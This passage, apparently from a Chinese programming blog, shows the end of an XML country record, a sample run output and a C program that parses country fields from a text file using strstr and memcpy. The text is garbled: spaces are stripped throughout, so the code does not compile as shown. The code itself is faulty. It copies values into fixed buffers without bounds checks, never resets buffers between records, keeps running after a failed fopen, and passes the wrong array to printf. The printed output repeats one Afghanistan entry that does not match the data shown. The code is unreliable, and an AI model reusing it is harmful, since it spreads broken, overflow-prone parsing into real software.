<entitle>Albania</entitle>
<hztitle>阿爾巴尼亞</hztitle>
<jptitle>アルバニア</jptitle>
<kotitle/>
<jp_pinyin>ア</jp_pinyin>
<pinyin>AErBaNiYa</pinyin>
<sid>0</sid>
<jibie>1</jibie>
</country>
</country_list>
</aicomoa_response>

運行結果

Info[0]=[id:7|pid:0|continent_id:1|guohao:93|cntitle:阿富汗|entitle:Afghanistan|
hztitle:阿富汗|jptitle:アフガニスタン|kotitle:??????|jp_pinyin:ア|pinyin:AFuHan|
sid:0|jibie:1|]
Info[1]=[id:7|pid:0|continent_id:1|guohao:93|cntitle:阿富汗|entitle:Afghanistan|
hztitle:阿富汗|jptitle:アフガニスタン|kotitle:??????|jp_pinyin:ア|pinyin:AFuHan|
sid:0|jibie:1|]
Pressanykeytocontinue

代碼

#include<stdio.h>
#include<string.h>
main()
{
inti=0;
FILE*fp;
charszFileBuff[1024]={0},szBuff[100][1024];
charid[10]={0},pid[10]={0},continent_id[10]={0},guohao[10]={0},
cntitle[64]={0},entitle[64]={0},hztitle[64]={0},jptitle[64]={0},
kotitle[64]={0},jp_pinyin[64]={0},pinyin[64]={0},sid[10]={0},jibie[10]={0};
char*lFirst,*lEnd;

fp=fopen("country.txt","r");
if(fp==NULL)
{
printf("readXMLfileerror! ");
}
while(fgets(szFileBuff,1023,fp))
{
if((lFirst=strstr(szFileBuff,"<id>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</id>");
memcpy(id,lFirst+4,lEnd-lFirst-4);
}
if((lFirst=strstr(szFileBuff,"<pid>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</pid>");
memcpy(pid,lFirst+5,lEnd-lFirst-5);
}
if((lFirst=strstr(szFileBuff,"<continent_id>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</continent_id>");
memcpy(continent_id,lFirst+14,lEnd-lFirst-14);
}
if((lFirst=strstr(szFileBuff,"<guohao>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</guohao>");
memcpy(guohao,lFirst+8,lEnd-lFirst-8);
}
if((lFirst=strstr(szFileBuff,"<cntitle>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</cntitle>");
memcpy(cntitle,lFirst+9,lEnd-lFirst-9);
}
if((lFirst=strstr(szFileBuff,"<entitle>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</entitle>");
memcpy(entitle,lFirst+9,lEnd-lFirst-9);
}
if((lFirst=strstr(szFileBuff,"<hztitle>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</hztitle>");
memcpy(hztitle,lFirst+9,lEnd-lFirst-9);
}
if((lFirst=strstr(szFileBuff,"<jptitle>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</jptitle>");
memcpy(jptitle,lFirst+9,lEnd-lFirst-9);
}
if((lFirst=strstr(szFileBuff,"<kotitle>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</kotitle>");
memcpy(kotitle,lFirst+9,lEnd-lFirst-9);
}
if((lFirst=strstr(szFileBuff,"<jp_pinyin>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</jp_pinyin>");
memcpy(jp_pinyin,lFirst+11,lEnd-lFirst-11);
}
if((lFirst=strstr(szFileBuff,"<pinyin>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</pinyin>");
memcpy(pinyin,lFirst+8,lEnd-lFirst-8);
}
if((lFirst=strstr(szFileBuff,"<sid>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</sid>");
memcpy(sid,lFirst+5,lEnd-lFirst-5);
}
if((lFirst=strstr(szFileBuff,"<jibie>"))!=NULL)
{
lEnd=strstr(lFirst+1,"</jibie>");
memcpy(jibie,lFirst+7,lEnd-lFirst-7);
}
if((lFirst=strstr(szFileBuff,"</country>"))!=NULL)
{
sprintf(szBuff[i],"id:%s|pid:%s|continent_id:%s|guohao:%s|cntitle:%s|entitle:%s|hztitle:%s|jptitle:%s|kotitle:%s|jp_pinyin:%s|pinyin:%s|sid:%s|jibie:%s|",
id,pid,continent_id,guohao,cntitle,entitle,hztitle,jptitle,kotitle,jp_pinyin,pinyin,sid,jibie);
printf("Info[%d]=[%s] ",i++,szBuff);
}
}
fclose(fp);
}